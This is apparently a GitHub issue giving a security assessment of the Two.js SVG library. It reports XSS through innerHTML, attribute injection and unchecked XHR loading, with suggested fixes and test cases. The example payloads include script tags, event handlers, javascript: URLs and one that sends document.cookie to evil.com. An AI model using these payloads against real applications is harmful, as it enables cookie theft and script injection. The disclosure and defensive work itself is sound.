-
-
Notifications
You must be signed in to change notification settings - Fork 461
Description
🔒 Two.js Security Vulnerability Assessment Report
Assessment Date: September 23, 2025
Scope: Complete Two.js codebase security review
Focus: SVG injection, DOM manipulation, XSS, and graphics-specific vulnerabilities
🚨 CRITICAL VULNERABILITIES IDENTIFIED
[CRITICAL] - SVG Injection via innerHTML: Direct XSS Attack Vector
Location: /src/two.js - Line 1169
Attack Vector: Malicious SVG content processed via dom.temp.innerHTML = data
Impact: Full XSS exploitation, arbitrary JavaScript execution
Two.js Specific Risk: Any SVG loaded via Two.load() can inject malicious content
Vulnerable Code:
const attach = function (data) {
dom.temp.innerHTML = data; // ❌ CRITICAL: Direct HTML injection
for (i = 0; i < dom.temp.children.length; i++) {
elem = dom.temp.children[i];
child = this.interpret(elem, false, false);
if (child !== null) {
group.add(child);
}
}
}.bind(this);Attack Example:
// Attacker provides malicious SVG
const maliciousSVG = `
<svg xmlns="http://www.w3.org/2000/svg">
<script>alert('XSS Attack!');</script>
<image href="javascript:window.location='http://evil.com/steal?data='+document.cookie"/>
<use href="javascript:eval(atob('bWFsaWNpb3VzIGNvZGU='))"/>
</svg>`;
// This triggers XSS when loaded
two.load(maliciousSVG, callback);Secure Implementation:
const attach = function (data) {
// ✅ SECURE: Use DOMParser instead of innerHTML
const parser = new DOMParser();
const svgDoc = parser.parseFromString(data, 'image/svg+xml');
// Check for parsing errors
if (svgDoc.documentElement.nodeName === 'parsererror') {
throw new TwoError('Invalid SVG content');
}
// Remove dangerous elements
const dangerousElements = ['script', 'object', 'embed', 'iframe', 'foreignObject'];
dangerousElements.forEach(tagName => {
const elements = svgDoc.querySelectorAll(tagName);
elements.forEach(el => el.remove());
});
// Sanitize all attributes
const allElements = svgDoc.querySelectorAll('*');
allElements.forEach(el => sanitizeElementAttributes(el));
// Now safely process the sanitized SVG
const children = Array.from(svgDoc.documentElement.children);
for (let i = 0; i < children.length; i++) {
const child = this.interpret(children[i], false, false);
if (child !== null) {
group.add(child);
}
}
}.bind(this);[HIGH] - DOM Attribute Injection: Unsafe Attribute Setting
Location: /src/renderers/svg.js - Line 44-52
Attack Vector: Unvalidated attribute setting allows injection of dangerous attributes
Impact: Event handler injection, style-based XSS, attribute-based attacks
Vulnerable Code:
setAttributes: function (elem, attrs) {
const keys = Object.keys(attrs);
for (let i = 0; i < keys.length; i++) {
if (/href/.test(keys[i])) {
elem.setAttributeNS(svg.xlink, keys[i], attrs[keys[i]]);
} else {
elem.setAttribute(keys[i], attrs[keys[i]]); // ❌ No validation
}
}
return this;
}Attack Example:
// Malicious attributes could be injected
const maliciousAttrs = {
'onload': 'alert("XSS")',
'onclick': 'window.location="http://evil.com"',
'style': 'background: url(javascript:alert(1))',
'href': 'javascript:eval(atob("bWFsaWNpb3VzIGNvZGU="))'
};Secure Implementation:
const SAFE_SVG_ATTRIBUTES = [
'x', 'y', 'width', 'height', 'fill', 'stroke', 'stroke-width',
'opacity', 'transform', 'd', 'points', 'cx', 'cy', 'r', 'rx', 'ry',
'fill-opacity', 'stroke-opacity', 'stroke-linecap', 'stroke-linejoin',
'stroke-miterlimit', 'stroke-dasharray', 'stroke-dashoffset',
'font-family', 'font-size', 'text-anchor', 'dominant-baseline',
'visibility', 'class', 'id'
];
setAttributes: function (elem, attrs) {
const keys = Object.keys(attrs);
for (let i = 0; i < keys.length; i++) {
const key = keys[i];
const value = attrs[key];
// ✅ SECURE: Validate attribute names
if (!SAFE_SVG_ATTRIBUTES.includes(key)) {
console.warn(`Unsafe attribute rejected: ${key}`);
continue;
}
// ✅ SECURE: Validate attribute values
if (this.isUnsafeAttributeValue(key, value)) {
console.warn(`Unsafe attribute value rejected: ${key}=${value}`);
continue;
}
if (/href/.test(key)) {
elem.setAttributeNS(svg.xlink, key, value);
} else {
elem.setAttribute(key, value);
}
}
return this;
},
isUnsafeAttributeValue: function(key, value) {
// Check for dangerous patterns
if (typeof value !== 'string') return false;
// Block javascript: URLs
if (/javascript:/i.test(value)) return true;
// Block data: URLs with script content
if (/data:.*script/i.test(value)) return true;
// Block vbscript: URLs
if (/vbscript:/i.test(value)) return true;
return false;
}[HIGH] - Path Attribute Manipulation: SVG Parse Injection
Location: /src/utils/interpret-svg.js - Line 644
Attack Vector: Direct attribute copying without validation
Impact: Injection of malicious attributes through SVG <use> elements
Vulnerable Code:
for (let i = 0; i < node.attributes.length; i++) {
const attr = node.attributes[i];
const ca = overwriteAttrs.includes(attr.nodeName);
const cb = !fullNode.hasAttribute(attr.nodeName);
if (ca || cb) {
fullNode.setAttribute(attr.nodeName, attr.value); // ❌ No validation
}
}[MEDIUM] - XHR Resource Loading: Insufficient URL Validation
Location: /src/utils/xhr.js - Line 9-20
Attack Vector: No URL validation allows loading from malicious sources
Impact: SSRF-like attacks, malicious content loading
Vulnerable Code:
export function xhr(path, callback) {
const xhr = new XMLHttpRequest();
xhr.open('GET', path); // ❌ No URL validation
xhr.onreadystatechange = function() {
if (xhr.readyState === 4 && xhr.status === 200) {
callback(xhr.responseText); // ❌ No response validation
}
};
xhr.send();
return xhr;
}Secure Implementation:
export function xhr(path, callback) {
// ✅ SECURE: Validate URL
if (!isValidURL(path)) {
throw new TwoError('Invalid or unsafe URL provided');
}
const xhr = new XMLHttpRequest();
xhr.open('GET', path);
xhr.onreadystatechange = function() {
if (xhr.readyState === 4) {
if (xhr.status === 200) {
// ✅ SECURE: Validate response content type
const contentType = xhr.getResponseHeader('Content-Type');
if (!contentType || !contentType.includes('svg')) {
throw new TwoError('Invalid content type received');
}
callback(xhr.responseText);
} else {
throw new TwoError(`Failed to load resource: ${xhr.status}`);
}
}
};
xhr.send();
return xhr;
}
function isValidURL(url) {
try {
const parsed = new URL(url);
// Only allow http/https protocols
return ['http:', 'https:'].includes(parsed.protocol);
} catch {
return false;
}
}📊 SECURITY ASSESSMENT SCORES
- SVG Processing Security: 2/10 - Critical innerHTML injection vulnerability
- DOM Manipulation Security: 4/10 - Unvalidated attribute setting
- Input Validation: 3/10 - Limited validation of user inputs
- External Resource Security: 3/10 - No URL validation or content type checking
- Overall Graphics Security: 3/10 - Multiple critical vulnerabilities present
🎯 IMMEDIATE PRIORITY ACTIONS
1. [CRITICAL] Fix SVG Injection in Two.load()
- Replace
innerHTMLwithDOMParser - Implement SVG content sanitization
- Remove dangerous elements (
<script>,<object>, etc.) - Validate all SVG attributes before processing
2. [HIGH] Implement Attribute Whitelisting
- Create whitelist of safe SVG attributes
- Validate attribute values for dangerous patterns
- Reject javascript: and data: URLs
- Log security violations for monitoring
3. [HIGH] Secure External Resource Loading
- Validate URLs before XHR requests
- Check response content types
- Implement proper error handling
- Add CORS validation
4. [MEDIUM] Text Content Sanitization
- Currently uses
textContent(good) but needs validation - Ensure no HTML parsing in text values
- Validate font family names and other text properties
🧪 Security Test Cases
// Test 1: SVG Script Injection
const maliciousSVG = `
<svg><script>alert('XSS')</script><rect width="100" height="100"/></svg>
`;
// Test 2: Event Handler Injection
const eventSVG = `
<svg><rect onload="alert('XSS')" width="100" height="100"/></svg>
`;
// Test 3: JavaScript URL Injection
const jsSVG = `
<svg><image href="javascript:alert('XSS')"/></svg>
`;
// Test 4: CSS Expression Attack
const cssSVG = `
<svg><rect style="background: expression(alert('XSS'))"/></svg>
`;Expected Behavior After Fixes: All malicious content should be stripped/rejected, with only safe visual elements rendered.
This assessment reveals critical security vulnerabilities that require immediate attention. The SVG injection vulnerability alone poses a severe XSS risk that could compromise any application using Two.js.